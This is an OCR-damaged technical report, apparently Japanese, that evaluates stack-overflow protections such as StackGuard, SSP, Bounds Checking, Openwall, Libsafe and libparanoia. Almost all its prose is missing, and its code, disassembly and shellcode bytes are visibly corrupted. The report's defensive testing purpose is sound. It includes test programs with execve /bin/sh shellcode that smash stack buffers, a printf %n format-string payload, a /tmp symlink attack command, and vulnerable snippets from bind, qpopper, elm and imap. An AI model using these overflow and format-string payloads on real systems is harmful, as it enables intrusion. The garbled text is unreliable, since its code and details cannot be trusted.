PASEC



S0P 1
TR 1
T PP 1
1321, 1
1320 2
14, e 2
.......................................... 4

250 SRR 4
211 S = 0 C U= o U PR 4
212 IBM Stack-Smashing ProteCtor  SSP ..o e 11
213 BOUNAS ChECKING ...ttt e st se et e b 23

2 . e e —e e —e e —e e e aEe At et e ee et e abe e be e beenteeatenaeenbeenreenreeneas 30
P2 R € = 1 V- | I 30
20 T USSR 37
231 LIDSAfE e et nee e nre e 37
232 Free BSD stack integrity patch (libparanoia) ...........ccoceeevereneneneneeeeeeee e 48
................................................................ 53

5 00 USRS 53
00 1 SRR 53
00 PR 53
00 ST 57

G PSSR 57
0201 PR 57
02T 59
025 TSRS 62

G 0 USSR 63
3.3.1 SEACKGUAIT ...ttt et bttt re et e bt b e beebe e e e e e beseesbesaeeneas 63
332 StaCk SMEShING PrOLECTOT ........ciueiuereeieie ettt b e e e e b e ene s 63
3.33. BOUNAS ChECKING ...ttt ettt et se et e b 63
T N @) = 1 V- | IO 64



................................................................................................................................................ 65

.................................................................................................................................................... 66
B URL (BB s 68
C s 69
D. e ——————— ot 71
B ———————————— st 74
F. ———————— oot 85



L.STACKGUARD ettt ettt e e r bt nr e r e nr e 4
et ee e re e e 6
RS 6
4.STACKGUARD s 7
B G e bt ee e b re e eaeas 7
B6.STACKGUARD e 8
T.STACKGUARD e 9
S TR ST RTRRRRN 11
9. (1Y PP P PPPRON 13
10. SSP GUARD e e 13
10, SO 14
L, SO e ——————————————————————————— 14
R PP 16
14. STRCPY() e —————————————————————— 17
15. STRCPY() e ————————————————————————— 17
P 18
L7 ettt ae e heenhe e ebe e nte e ae et et e saeenreenes 19
PP 19
1. SO e e et 20
20. BOUNDSCHECKING e 24
20 SRR 25
22, BOUNDSCHECKING e e 25
23, e 27
24, BOUNDSCHECKING e e 27
25. BOUNDSCHECKING e e 28
122 O SRUSRRRN 29
27, OPENWALL ittt st e s e Rt b e Rt e e e R s e Rt Rt Rt n e n e e n e re e 30
22 7S RURRPRN 31
2 R RURRRRN 32
30. OPENWALL 33
B, ———————————————————— 33
32, 34
G 75U 35



34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.

LIBSAFE
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LIBPARANOIA
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13.
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a)
b)
©)
d)
e)
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132

‘

bind8.1.1

CA-98.05

qgpopper2.4

CA-98.08

elm2.3.0

imapd3.6

CA-98.09

apachel.1.3

/tmp

wu-ftpd2.6.0

CA-00.13

Original 1

O NO|OIA|WIN|F

Origina 2

D)
(2)
3)

14.

@)
GCC

2

©)



StackGuard
http://immunix.org/stackguard.html

IBM Stack Smashing Protector (SSP)
http://www.trl.ibm.com/projects/security/ssp/

Bounds Checking
http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html

Openwall
http://www.openwall.com/linux/

Libsafe
http://www.research.avayal abs.com/project/libsafe/

Free BSD stack integrity patch (libparanoia)
http://www.lexa.ru/snar/libparanoia/
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2.1
GCC

StackGuard Stack Smashing Protector Bounds Checking

211 SackGuard

a)
StackGuard
StackGuard
C
StackGuard
2 P
I/ -
v
n StackGuard
StackGuard g #
«
1. StackGuard



StackGuard
1

b)
StackGuard

D)

c) StackGuard
StackGuard

)

&)

[1]

StackGuard

StackGuard
StackGuard

StackGuard

StackGuard



OXFFFF

String
Grouth
D w
Stack
Grouth
0x0000
StackGuard
2.
SackGuard
StackGuard 3
StackGuard
3
0x00 null strepy()
0x00  gets() gets()
Ox0a LF oxff  (EOF)
3
2
0x000affod
o200
null LF EOF




StackGuard

StackGuard
4 StackGuard
StackGuard
08048504 <main>:
8048504 55 push _ %ebp
8048505: 89 e5 mov %esp , %ebp prologue
8048507 : 83 ec 24 sub $0x24 ,%esp 5
804850a: 57 push  %edi
804850b: 56 push  %esi
804852d: 89 c0 mov %eax , %eax
804852fF: 89 45 fc mov Y%eax , OXFFFFFFfc(%ebp)
8048532: 8d 65 d4 lea OXFFFFFFd4(%ebp) , %esp
8048535: 5e pop Y%esi
8048536: 5F pop %edi X epilogue
8048537 : c9 leave
8048538: c3 ret

4, StackGuard

GCC
prologue
epilogue prologue
prologue  epilogue
prologue
epilogue
5. GCC
StackGuard prologue  epilogue




StackGuard GCC
08048794 <main>:
8048794: 68 0d ff 0a 00 push _ $0xaffod 5O
8048799: 55 push Tiebp
804879a: 89 e5 mov Y%esp,%ebp
804879c: 83 ec 24 sub $0x24 %esp -( !E prologue
804879f: 57 push Y%edi
80487a0: 56 push %esi
80487c4: 89 45 fc mov %eax,0xfffffffc(%ebp)
80487c7: 8d 65 d4 lea Oxffffffd4(%ebp) %esp
80487ca: 5e pop %esi epilogue
80487ch: 5f pop Y%edi - :
80487cc: c9 leave
80487cd: 81 3c 24 0d ff 0a 00 cmpl $0xaffod,(%esp,1)
80487d4: 75 Oe jne 80487e4 <main+0x50>
8048746: 83 c4 04 add  $Ox4%esp () Sz
80487d9: c3 ret -
80487da: 6d insl (%dx),%es:(%edi)
80487db: 61 popa
80487dc: 69 6e 00 90 90 90 90 imul $0x90909090,0x0(%esi),%ebp
80487e3: 90 nop
80487e4: 68 0d ff 0a 00 push $0xaffod
80487e9: 6a 01 push $0x1
80487eh: 6a 00 push $0x0
80487ed: 68 da 87 04 08 push $0x80487da
80487f2: e8 29 fd ff ff call 8048520 <_canary_death_handler>
80487f7: eb fe jmp 804877 <main+0x63>
80487f9: 8d 76 00 lea 0x0(%esi),%esi
6. StackGuard
6 StackGuard prologue
epilogue
(D) prologue StackGuard
Oxaffod
()] prologue
©)
(@] epilogue
(5) 1) Oxaffod
(6)



()
_canary_death_handler()
(8) _canary_death_handler()

[2]
StackGuard _canary_death
_handler()

aaa [13856]: Immunix SG 1.3 canary = affOd died with cadaver bffffcc8 in procedure function.

7. StackGuard

d)
StackGuard ~ WireX Immunix Linux
Oregon Graduate Institute of Science &
Technology DARPA
WireX Immunix

Linux

e)
® |mmunix

WireX Immunix

f)
StackGuard 2.0 RedHat6.2 Immunix6.2
RedHat7.0 Immunix System 7 RPM
StackGuard GCC

g)
StackGuard

StackGuard



D

2

D)

)

3
(4)

()

Intel

StackGuard

(gcc —fomit-frame-pointer

)
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2.1.2. IBM Sack-Smashing Protector SSP

a)
SSP
SSP
SSP
SSP
8 SSP
SSP StackGuard
SSP guard
StackGuard
StackGuard
SSP

-11



b)
SspP

)

c) SSP
SSP

@

@)

©)

(4)

[1]
SsP

SSP

guard

guard

guard

-12



OXFFFF

String

Grouth

SPP guard

Stack

Grouth

0x0000

SPP
9. guard
SSP  guard
SSP StackGuard
guard SSP guard
1 {
2 int fd;
3 if (((int*)__guard[0] '= 0) return;
4 fd = open(“/dev/urandont, 0);
5 if (fd!=-1) {
6 size_t size =read(fd, & guard, sizeof(__guard));
7 cl ose(fd);
8 if (size == sizeof(__guard)) return;
9 }
10 _guard[0] = 0; __guard[1] = 0; guad[2] = ‘¥n', guard[3] = 255;
1}
10. SSP Guard
SSP /dev/urandom
/dev/urandom StackGuard
10 SSP guard
guard

-13



SSP

guard SSP
SSP
SSP
StackGuard
08048504 <main>:
8048504 : 55 push  %ebp
8048505: 89 e5 mov %esp, %ebp
8048507: 83 ec 24 sub $0x24 ,%esp -« # prologue
804850a: 57 push  %edi
804850b: 56 push  %esi
804852d: 89 c0 mov Yeax, eax
804852fF: 89 45 fc mov Y%eax , OXFFFFFFfc(%ebp)
8048532: 8d 65 d4 lea OxFFFFFfd4(%ebp) , %esp
8048535: 5e pop %esi
8048536: 5fF pop Y%edi epilogue
8048537 : c9 leave -
8048538: c3 ret
11. SSP
08048800 —<main>=
8048800: 55 push  %ebp
8048801: 89 e5 mov %esp, %ebp d rol
8048803: 83 ec 2c sub $0x2c ,%esp - profogue
8048806 : 57 push  %edi
8048807 : 56 push _ %esi
8048808: al 34 9e 04 08 mov 0x8049e34 ,%eax @ ssp
804880d: 89 45 fc mov %eax , OXFFFFFFfc (%ebp) S
804883c: 8b 45 fc mov OxFFFfFFffc(%ebp) , %eax
804883f: 3b 05 34 9e 04 08 cmp 0x8049e34 ,%eax
8048845: 74 Oe je 8048855 <main+0x55> (@) ssp
8048847: 68 05 8d 04 08 push  $0x8048d05 >
804884c: 8b 45 fc mov OxFFFfFFffc(%ebp) , %eax
804884fF: 50 push  %eax
8048850: e8 bf 01 00 00 call 8048al14 <__stack_smash_handler>
Woooo. oI LU LLLLeATS ‘ma)\
8048857: 8d 65 cc lea OxFFFffFfcc(%ebp) , %esp
804885a: 5e pop Y%esi
804885b: 5f pop Y%edi -(\# epilogue
804885c: c9 leave B
804885d: c3 ret |
12. SSP

-14



[2]

SSP prologue guard

epilogue
(D) prologue
@)
(©)] epilogue
4 guard
epilogue
5) guard

(6) _stack_smashing_handler()

guard

SSP guard
guard 0x8049e34

(1) guard 0x8049e34

_stack_smashing_handler()

SSP

SSP

-15



1 #include <stdio.h>
2 char shellcode[] =
3 *¥xeb¥X 1 F¥X5e¥X89¥X76¥X08¥X31¥XCO¥XBB¥XA6¥X07¥X89¥X46¥X0Cc¥Xb0¥Xx0b"
4 ¥ BO¥XTI¥XBU¥X4e¥X08¥X8d¥X56¥X0C¥X C¥X80¥x31¥xdb¥x89¥xd8¥x40¥xcd""
5 ""¥x80¥xe8¥xdc¥xFR¥xFR¥xTf/bin/sh'';
6 char large_string[97];
7
8 int funcQ
9 {
10 printf('print func¥n'™);
11
12
13 long *long_ptr;
14 int main(int argc, char **argv)
15 {
16 int i;
17 int (*pfunc)() = func; 'Q !%
18 char buf[96]; .
19
20 long_ptr = (long *)large_string;
21 for (i =0; 1 <97; i+H)
22 *(long_ptr+i) = (int)buf;
23
24 for (i = 0; i < strlen(shellcode); i++)
25 large_string[i] = shellcode[i];
26
27 strcpy(buf, large_string); d
28 pfuncQ;
29 return(0);
30 }
13.
27 strepy()
96 97
17 strepy()

-16



address | long var +0 +1 +2 +3 | 0123
bf fffcd0|] 00000000 | 00 00 00 00 | - buf [ 96]
bf fffd2c| 00000000 | 00 00 00 00 |
bf fffd30|] 080484a0 | a0 84 04 08 | - efunc
bffffd34| ffffffff | ff ff ff ff | - i
bf fffd38] bffffds8 | 58 fd ff bf | X .. «
bf fffd3c| 400329cb | cb 29 03 40 | .). @ «
bf f f f d40] 00000001 | 01 00 00 00 | -
bf fffd44| bffffd84 | 84 fd ff bf |

14. strepy()

address | long var | +0 +1 +2 +3 | 0123

bf fffcdO| 895elfeb | eb 1f 5e 89 | - buf [ 96]

bffffd2c| bffffcd0 | cO fc ff bf |

bf fffd30| bffffcd0 | dO fc ff bf | - efunc
bf f f f d34| 00000000 | 00 00 00 00 | - [

bf fffd38| bffffds8 | 58 fd ff bf | X . -

bf fffd3c| 400329cb | cb 29 03 40 | .). @ «

bf f f f d40|] 00000001 | 01 00 00 00 | -

bf fffd44| bffffd84 | 84 fd ff bf |

15. strepy()
28

-17



OXFFFF

T

String
Grouth

Stack
Grouth

l

0x0000

[3]

inti

SSP Guard

int (*pfunc)()

char buf[96]

char buf[96]

int (*pfunc)()

16.

inti

SPP

buf

-18



SSP

SSP

1 typedef struct {char str[32]; } string_t;
2
3 void func(int i, stringt s) {
4 int val;
5 return;
6 }
7 int main(int argc, char **argv) {
8 string_t s
9 func(0, s);
1 }
17.
SSP
OXFFFF
T 2 2
String 1 1
Grouth
int val SSP guard
2
Stack int val
Grouth
l 1
0x0000 Spp
18.

-19



d)

e)

[4]

18 1 2 17
func
SSp
(3]
int va
SSP
SspP _stack_smashing
_handler() syslog
syslog
Nov 1 18:23:11 hostname a.out: stack smashing attack in function foo
19. SspP
IBM
Kaladix Linux: The Secure Linux Distribution
Kaladix Linux SPP
GCC Kaladix Linux
GCC
StackProtection4FreeBSD Project
FreeBSD



® | ASERS5 Secure Server6.9

LASER LESER
SPP GCC
f)
SSP GCC 32 2953 SSP
GCC SSP
Pr ocessor GCC-2.95.3 GCC-3.2
Intel x86 bootstrapped & checked bootstrapped & checked
powerpc bootstrapped & checked bootstrapped & checked
sparc bootstrapped & checked not tested
VAX bootstrapped not tested
mips bootstrapped not tested
M otolora 68k bootstrapped & checked not tested
alpha bootstrapped not tested
sparc64 bootstrapped not tested
The mark "checked" meansit generates superior results than the original results.
The mark "bootstrapped” means | receipt bootstrap report only. If you have the
testsuite result of any processor, please send me the results.
“[9]
9)
SSP

D)

2

3

(4)

(gcc —fomit-frame-pointer

)



«y
(2 ssp
(3) Libsafe

-22



2.1.3. Bounds Checking

a)
Bounds Checking
C
Checking 3
D
()] Bounds Checking
©)
Bounds Checking
Bounds Checking
Bounds Checking
Bounds Checking
b)

Bounds Checking

D)
)

¢) Bounds Checking
Bounds Checking

:malloc

Bounds



[1]

D)

Bounds Checking

Bounds Checking
Bounds Checking

Bounds Checking
3

void func(void) { void func(void) {

char buf[10] char buf[10]

buf[30]=" a ; buf[30]=" a ;

|

!

¥y

20. Bounds Checking




Bounds Checking 3
@)
Bounds Checking C++
1 {
2 int i =5
3 {
21.
Bounds Checking
1 {
2 inti =(__bounds_add _stack object(&, .),5);
3
4 __bounds_del ete_stack_object(&);
5 }

22. Bounds Checking



__bounds_add_stack_object i
__bounds_delete stack_object i
2 C++

malloc realloc free

Bounds Checking C malloc, redloc, free

Bounds Checking
splay tree

Bounds Checking

Bounds Checking



pointer+ integer

(type*) bounds check ptr_plus int(p,l,...)

pointer - integer

(type*)__bounds _check ptr_plus int(p,l,...)

*pointer (dereference)

(type*)__bounds _check_reference(p,...)

array[index]

(type*)__bounds_check_array reference(p/l,...)

pointer -> element

pointer — pointer

__bounds_check_ptr_diff(p,q,...)

pointer < pointer

__bounds check ptr_It ptr(p,q,...)

pointer > pointer

__bounds_check_ptr_gt_ptr(p,q,...)

kOGJ\IO?U'I-wa\JH‘:H:

pointer <= pointer

__bounds_check_otr_le ptr(p,q,...)

(*(type™*)__bounds_check_reference(p,...)).element

10 | pointer >= pointer __bounds_check_ptr_ge pr(p,g,...)
11 | pointer == pointer __bounds_check_ptr_eq ptr(p,q,...)
12 | pointer != pointer __bounds_check ptr_ne ptr(p,q,...)
13 | ++pointer (type*) _ bounds check ptr_preinc(&p,...)
14 | --pointer (type*) _ bounds check_ptr_predec(&p,...)
15 | pointer++ (type*) _ bounds check ptr_postinc(&p,...)
16 | pointer-- (type*) _ bounds_check ptr_postdec(&p,...)
17 | Truthvalue of pointer __bounds_check_ptr_true(p,...)
18 | !pointer __bounds_check ptr_false(p,...)
23.
Bounds Checking
int sum(int n, int *a)

{

inti,s=0
for (i=0;i<n +H)
s+=4];

retums,

int sum(int n, it *a)
{ ;7
_bounds push function(“sur);

_bounds add parameter object(&n, sizeof(irt), .. );

_bounds add parameter object(&a, sizeof(int *), .. )

{
inti;

_bounds add stack object(&, sizeof(int), .. );
ints=0;
_bounds add stack object(§s, sizeof(int), .. )

for (1=0i <1y +4)

S+=
*(int *)_bounds check array reference(a, i, sizeof(int), .. );
_bounds delete stack object(&s)

_bounds¥delete stack object(&i); ‘Q
1

_bounds pop function(*‘sun™);
retums

Bounds Checking

24. Bounds Checking




Bounds Checking

Bounds Checking GCC v gcc-2.95.2-2.20 Copyright (C) 1995 Richard W.M. Jones
Bounds Checking comes with ABSOLUTELY NO WARRANTY. For details see file
“COPYING' that should have come with the source to this program.

Bounds Checking is free software, and you are welcome to redistribute it

under certain conditions. See the file "COPYING' for details.

For more information, set GCC_ BOUNDS OPTS to “-help'

test.c:8:Bounds error: created an ILLEGAL pointer in postincrement (*p++).
test.c:8: Pointer value: Oxbffffd2a

test.c:8: Object "A"

test.c:8: Address in memory:  Oxbffffd20 .. Oxbffffd29

test.c:8: Size: 10 bytes
test.c:8: Element size: 1 bytes
test.c:8: Number of elements: 10

test.c:8: Created at: test.c, line 4
test.c8: Storage class: stack
1234567889Aborted

25. Bounds Checking

d)
Bounds Checking Imperial College of Science, Technology and Medicine
Paul H J Kelly 1995 gcc 270
Paul H JKelly Haj Ten Brugge
Bounds Checking Web
e)
Bounds Checking GCC 31 311 2952



Linux 1.2.13 1386
Sun0S4.1.3 Sparc
Solaris 2.4 Sparc
HPUX 9.05 HP-PA
ESIX SVR4.04 1386
OSF 2.0 DEC Alpha
FreeBSD 2.0 1386
Ultrix 4.2A MIPS
0S/2 (i386) 1386

26.

f)

9)
Bounds Checking

Bounds Checking

D)

2

1)

)

3 Bounds Checking

4 setjmp longjmp Bounds Checking



2.2.

2.2.1. Openwall

a) 1.1.
Openwall

Openwall

Openwall

Linux

b)
Openwall

D
&)
©)

¢) Openwall

Openwall

D

27.

Openwall



[1]

(2) Itmp
tmp

Openwall

Openwall

Openwall

Openwall

OXFFFF

T

String
Grouth

Stack

Grouth ——

i

0x0000

28.



Openwall
Openwall
Openwall

TASK_SIZE ~ TASK SIZE - 8 Myte

TASK_SI ZE = 0xC0000000 ( 3Gbyt e)

° OxXbfffffff
° 0xbf 8000000
29.
Openwall
8M
8M
Openwall
30 21 12 buffer
26 8M
0xbf800000 12
buffer  8M
8M Openwall
Openwall
3
3 Linux 8M



1 #include <stdio.h>
2 #include <string.h>
3
4 char shellcode[] =
5 ""¥Xeb¥X28¥X5e¥X89¥XT 6¥X08¥X31¥XCO¥XBB¥XA6¥X07¥XBI¥XT7T¥XB3¥XC7¥X04"
6 ¥ XB9¥ X4 T¥X08¥XB3I¥XCO¥ X0 7¥XBI¥XCO¥X04¥ X8 I¥XTI¥XBA¥X4e¥X08¥X8d¥X57""
7 ""¥X08¥XCd¥x80¥X31¥Xdb¥x89¥Xxd8¥x40¥Xxcd¥x80¥xe8¥XxdI¥xXFR¥xFR¥xFf/bin/sh";
8
9 char large_string[128];
10 void foo()
11 {
12 char buffer[96];
13 int i;
14 long *long_ptr = (long *) large_string;
15
16 for (i = 0; 1 < 32; i++)
17 *(long_ptr + i) = (int) buffer;
18 for (i = 0; 1 < (int) strlen(shellcode); i++)
19 large_string[i] = shellcode[i];
20
21 sscanf(large_string, "%s', buffer);
22 return;
23 }
24 int main(int ac, char *av[])
25 {
26 char pad[(8*1024*1024)];
27 foo();
28 return O;
29 }
30. Openwall
[2] itmp
Openwall tmp
/tmp

ftmp/tmpfile

% In -s /etc/passwd /tmp/my_tmpFile

31.



32

filepath 5 | stat()
6
6 Istat()
|stat()
8 creat()
1 char *filepath; -
2 struct stat st; -
3 int fd; -
4 A
5 if( Istat(filepath, &st)!=-1) { -
6 if(S_ISLNK(st.st_node)) return -1; «
7 }
8 fd = creat(filepath, 0666); -
9 .
32.
|stat()
1 Istat()
2 Istat() creat()
3 creat()
4
30
30 Istat()  creat() filepath
Istat()  creat()
Openwall
Openwall
tmp



A W DN P

ID ID
ID ID
1 static inline int check_link(struct dentry *dentry)
2 {
3 struct inode *inode, *dir;
4
5 i node = dentry->d_i node;
6 /* XXX: no | ocking, races possible */
7 dir = dentry->d_parent->d_i node;
8
9 /*
10 * Don't follow links that we don't own in +t directories,
11 * unless the link is owned by the owner of the directory.
12 */
13 if ((dir->i _nbde & S_| SVTX) &&
14 inode->i _uid !'=dir->i _uid &&
15 current->fsuid !'= inode->i _uid) {
16 security_alert_symink(inode);
17 return - EACCES;
18 }
19
20 return O;
21 }
33.
d)
Openwal  StackGuard WireX Immunix Linux
Immunix
Linux Openwall
4 Linux 1D
ID



e)

® |mmunix

Linux2.4.18

Openwall

(gcc —fomit-frame-pointer )

WireX Immunix
f)
Openwall 20
Linux 2.2.20
Linux 2.2.22
9)
Openwall
«y
2
©)
4
«y
2
3 8M
4
Openwall

()

Linux



2.3.

2.3.1. Libsafe
a)
Libsafe
Libsafe C
Libsafe
strepy() safe_strcpy()
X
o
™. strepy()
C
34. Libsafe
Libsafe
Libsafe

Libsafe



b)
Libsafe

)
&)

c) Libsafe
Libsafe

D

)
printf()

3

[1]
Libsafe

Libsafe

-38



#include <stdio.h>

char shellcode[ ] =
"¥xeb¥x1f¥x5e¥x89¥x76¥x08¥x31¥xc0¥x88¥x46¥x07¥x89¥x46¥x0c¥xb0¥x0b"
""¥xB89¥xF3¥x8d¥x4e¥x08¥x8d¥x56¥X0C¥XCd¥x80¥x31¥xdb¥x89¥xd8¥x40¥xcd"
"¥x80¥xe8¥xdc¥xf¥xfi¥xff/bin/sh";

char large string[128];
int i;

© 00 N oo o B~ W N DN P

long *long_ptr;

=
o

int main() {
char buffer[96];
long_ptr = (long *)large_string;;
for (i=0; i<32; i++)
*(long_ptr+i) = (int)buffer;

e I e i
g oA W N P

for (i=0; i<(int)strlen(shellcode); i++)

=
(2]

large_string][i] = shellcode[i];

[y
~

strcpy(buffer, large_string);

=
[ee]

return O;

=
[{e}
—

35.

17 strepy()
96  buffer 128

0 1 2 3 45 6 95
buffer | ( | | | | | | -

0 1 2 3 45 6 95 127

large string| | | | | | | | l:’ ______ l:’

36.

strepy() buffer
strepy()



o U
2 address | long var | +0 +1 +2 +3 | 0123
2 J SRR IR
4 bf fffbl4| ffffffff | ff ff ff ff | ~ nark
5 bf fffbl8] bffffb50 | 50 fb ff bf | P.. ~ buffer[0-3]
7 bf fffb74] 08049804 | 04 98 04 08 | ~ buf fer[ 92-95]
8 bf fffb78] bffffb98 | 98 fb ff bf | ~ ebp
bf fffb7c| 400329cb | cbh 2903 40| .).@ «
10 bf f ffb80] 00000001 | 01 00 00 0O | — top frane
11 bf fffb84| bffffbcd | c4 fb ff bf |
37.
37 buffer Intel
ebp
8 ebp
ebp bf fffb98
ebp
ebp
ebp ebp
ebp
buffer
ebp
35 ebp bf fffb78
buffer bf fffbl8
ebp



ebp -
o
>
Libsafe
strepy()
Libsafe
Libsafe
Libsafe strepy()
6 9 C memcpy()  strcpy()
14 _libsafe_stackVariableP strepy()
dest
20 src 14
Src
memcpy() strepy()

1 char *strcpy(char *dest, const char *src)
2
3 static strcpy_t real strcpy = NULL,;
4 sizet max size, len;
5
6 if ('real_memcpy)
7 real_memcpy = (memcpy._t) getLibraryFunction(*'memcpy"’);
8 if (‘real_strcpy)
9 real strcpy = (strcpy_t) getLibraryFunction(*'strcpy™);
10
11 if (libsafe_exclude)
12 return real_strcpy(dest, src);
13
14 if ((max_size = _libsafe_stackVariableP(dest)) == 0) {
15 LOG(5, "'strcpy(<heap var> , <src>)¥n"); 3
16 return real_strcpy(dest, src);
17 }
18
19 LOG(4,"strcpy(<stack var>,<src>)stacklimit=td)¥n", max size);
20 if ((len = strnlen(src, max_size)) == max size)
21 _libsafe_die("*Overflow caused by strcpy()"™); b
22 real memcpy(dest, src, len + 1);
23 return dest;
24 }

38. Libsafe strepy()



[2]

Libsafe
printf()
printf()

1 #include <stdio.h>

2

3 void foo(long ptr)

4 {

5 long mask2=0x00000001;

6 printf(**%x %x %x %x¥n");

7 }

8

9 int main()

10 {

11 long mask=0xffffffff;

12 foo(mask);

13 return(0);

14 }

39.
6 printf(“%x %X %X %x¥n");
printf()
1 bffffb78 8048442 ffffffff
40.
4 16 printf()



address | long var | +0 +1 +2 +3 | 0123
bffffb64] 00000001 | 01 00 00 0O | ~ mar k2
bffffb68| bffffb78 | 78 fb ff bf | ~ ebp
bffffb6c| 08048442 | 42 84 04 08 | B... «
bffffb70| ffffffff | ff ff ff ff | -
bffffb74| ffffffff | ff ff ff ff | ~ mask
41.
printf()
printf()
printf()

printf()

printf(“%.* d%n¥n”, (int)start_attack_code, O, return_addr_ptr);

42. printf()

n n printf()

%n 6 return_addr_ptr
start_statck_code
%.*d 0 start_statck _code
start_statck_code
return_addr_ptr
return_addr_ptr

39



char shellcode[] =
" ¥xeb¥x1f ¥X5e¥Xx89¥X76¥X08¥X31¥XCO¥X88¥X46¥X07¥Xx89¥Xx46¥X0c¥Xxb0¥x0b"
" ¥x89¥xT 3¥x8d¥x4e¥x08¥Xx8d¥Xx56¥X0c¥XCcd¥x80¥x31¥xdb¥x89¥xd8¥x40¥xcd"
" ¥x80¥xe8¥xdc¥xf f ¥xf f ¥xff/bi n/sh";

voi d foo(long ptr)

{
| ong nmask2=0x00000001;
long ret_addr = Oxffffffff;
printf("%*d%¥n", (int)shellcode, 0, ret_addr);
}
43.
ret_addr
Libsafe
2
D
n
@)
1
printf(%x %x ....")
n
%n
C
Libsafe Libsafe



Libsafe

C

strepy(char * dest, const char * src) dest
strcat(char * dest, const char *src)
strpcpy(char *dest, const char * src)
wesepy(wchar t *dest, const wchar t *src)
wepcepy(wcehar_t *dest, const wchar_t *src)
wescat(wchar t *dest, const wchar t * src)

getwd(char * buf) buf
gets(char *s) s
[vf]scanf(const char *format, ...)
real path(char * path, char resolved _path[]) path
[V]sprintf(char * str, const char *format, ...) str
3. Libsafe
[3]
Libsafe

Off/On Not optional

syslog() Ivar/log/secure On Optiona
On Not Optional

16 Off Optiond

e-mall Off Optiond

abort() Off Optiona

4. Libsafe
Libsafe
5 %n %n
n




d)
Libsafe 2000 4 20

L ucent Technologies

e)

Libsafe

libc6

f)
® Prelude
Prelude

Lucent Technologies

Avaya

2.0.16

http://www.prelude-ids.org/

9)
Libsafe C

D)

)

(1) Libsafe

)

Libsafe

TimTsai Navjot Singh

Linux
Libc5

Libsafe Prelude

Debian, SUSE

ebp

Libsafe



(3) Libssfe  Libsafe

(gce
—format-frame-pointer )

(4) %n



2.3.2. FreeBSD stack integrity patch (libparanoia)

a)
libparanoia  C
Libsafe C
Libsafe
C Libsafe
libparancia C
(libc)
Libsafe Libsafe
C libparanoia
C
strepy() strepy() H
44. libparanoia
b)
libparanoia
1)

c) libparanoia

libparanoia

(D



[1]

libparanoia Libsafe
libparanoia
Libparanoia
C
2
StackGuard
libparancia
libparanoia
libparancia
D
10

libparanoia

StackGuard



)

O©CoO~NO U WNPE

static unsigned long save[10];
static unsigned long saveip[10];
static unsigned invflag=0;
extern char* _progname;

static unsigned

{getbp()
_asm_(""'movl %ebp,%eax");
_asm_("movl (%eax)%eax");
}
void
enter violation() -
{ -
inti;

unsigned bp=getbp(); -

invflag++;

if(invflag>1) return;
bzero(save,sizeof(save));
bzero(saveip,sizeof(saveip));
bp=*((unsigned*)bp);
for(i=0;i<10;i++) { -

save[i]=bp;

if(lbp) break;

/* this is bogus, but... Sometimes we got stack entries
* points to low addresses. 0x20000000 - is a shared
* library maping start */

if(bp<0x20000000) {

save[i]=0;
break;

h
saveip[i]=*((long unsigned*)bp+1);
bp=*(long unsigned*)bp;

45,

libparanoia



1 void
2 exit_violation() -
3 {
4 inti
5 unsigned bp=getbp(); -
6
8 if(invflag>1) {
9 invflag--;
10 return;
1 I3
12 bp=*((unsigned*)bp);
13 for(i=0;i<10;i++) {
14 if(lsave[i]) break;
15 if(bp'=savel[i]) { -
16 SUICIDE; _
17 h
18 if(lbp) break;
19 if(saveip[i]'=*((unsigned*)bp+1)) {
20 SUICIDE;
21 h
22 bp=*(unsigned*)bp;
23 ] -
24 invflag--;
25 return;
26 }
46.
C strepy()
1 char*
2 strcpy(char* dst, const char* src)
3
4 char* sav=dst;
5 enter_violation(); -
6 while(*(dst++)=*(src++));
7 exit_violation(); -
8 return sav,
9 }
47. libparanoia strepy()
C
libparanoia
strepy(char * dest, const char * src) dest

strcat(char * dest, const char *src)
strpcpy(char *dest, const char * src)

gets(char *s) s

[vf]scanf(const char *format, ...)

[V]sprintf(char * str, const char *format, ...) str
5. libparanoia



d)

libparanoia Alexandre Snarskii
FreeBSD ports
e)
14 FreeBSD libc (2.1.0-2.2.8, 3.0)
FreeBSD  Intel
f)
® FreeBSD FreeBSD Web
o

libparanoia FreeBSD libc

libparancia

1)
) libsafe

(1) libsafe
) libsafe
(3) libc

ports



3.1
2 CERT

131

311

Celeron 534MHz

128 KB

128 MB

Redhat Linux 6.2

kernd 2.2.14

(Openwall 2.2.20 )

gce2.96.2 (Bounds Checking)
gcc2.96.3 (StackGuard, SSP, Libsafe, Openwall)

48.
libparanoia  BSD (0N
3.12.
Bind: Bind Internet Software Consortium(1SC)
Bind8.1.1 Bind
"Bind iquery Buffer Overflow”
Bind iquery



memcpy()

© 0 N o o b~ W N

ns_debug(ns_log default, 1,
“req: Iquery class %d type %d”, class, type);
fname = (char *)msg+HFIXEDZ;
alen = (char *)*cpp - fname;
memcpy(anbuf, fname, alen);
data = anbuf + alen - dlen;
*cpp = (u_char *)fname;
*puflenp -= HFIXEDSZ;
count = 0;

49. req_iquery()

gpopper: gpopper  Qualcomm POP (Post Office Protocol)

gpopper

gpopper 24
gpopper

gpopper vsprintf()

© 00 N o o o~ W DN B

#ifdef HAVE VSPRINTF
vsprintf(mp, format, ap);
#else
#ifdef PYRAMID
(void)sprintf(mp, format, argl, arg2, arg3, arg4, arg5, arg6);
#else
(void)sprintf(mp, format, ((int *)ap)[0], ((int *)ap)[1],
((int *)ap)[2], ((int *)ap[3], ((int *)ap)[4]);
#endif
#endif

50. pop_msg.c



elm: eim  Linux mall em 230
em  setgid
elm strepy()

1 char termname[40];
2 char *strcpy(), *getenv();
3 if (getenv(“TERM”) == NULL) return(-1);
4 if (strcpy(termname, getenv(“TERM”)) == NULL)
5 return(-1);

51. cursesc

imap: imap (Internet Message Access Protocol) POP

strepy()

POP POP
imap

imap4.0

© 00 N O O B W N P

long server login(char *user, char *pass, int argc, char *argv[])
{
char tmp[MAILTMPLEN];
struct passwd *pw = getpwnam(user);
/* allow case-independent match */
if (‘ow) pw = getpwnam(|case (strcpy(tmp, user)));
if ((ow && pw->pw uid &&  /* validate user and passwd */
Istremp(pw->pw passwd, (char *)crypt(pass, pw->pw passid)))
return NIL;

52. log_std.c




apache: apache Web Apachel.1.3
Apache apache_status

/tmp
apache status /etc/passwd
[etc/passwd
( /tmp
1 API_EXPORT(int) ap_popenf(pool *a, const char *name, int flg, int mode)
2 {
3 int fd;
4 int save_errno;
5
6 ap_block_alarms();
7 fd = open(name, flg, mode);
